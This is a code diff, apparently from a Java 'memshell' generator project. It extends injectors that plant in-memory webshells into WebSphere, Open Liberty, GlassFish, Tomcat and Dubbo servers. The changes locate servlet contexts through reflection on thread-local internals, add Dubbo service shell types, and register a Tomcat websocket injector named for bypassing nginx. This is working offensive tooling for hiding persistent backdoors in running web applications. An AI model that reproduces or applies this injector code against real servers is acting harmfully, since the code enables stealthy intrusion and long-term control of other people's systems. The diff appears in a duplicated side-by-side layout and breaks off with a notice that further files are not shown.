} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Properties;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
public class Dubbo extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
.build();
}
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server; package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import com.reajason.javaweb.utils.ShellCommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
@@ -43,8 +43,8 @@ public class GlassFish extends AbstractServer {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class) .addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class) .addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class) .addInjector(FILTER, GlassFishFilterInjector.class)
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
.addInjector(VALVE, GlassFishValveInjector.class) .addInjector(VALVE, GlassFishValveInjector.class)
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class) .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
.addInjector(UPGRADE, TomcatUpgradeInjector.class) .addInjector(UPGRADE, TomcatUpgradeInjector.class)
.build(); .build();
} }
@@ -0,0 +1,5 @@
package com.reajason.javaweb.memshell.shelltool;
public interface ShellDubboService {
byte[] handle(byte[] bytes);
}

Some files were not shown because too many files have changed in this diff Show More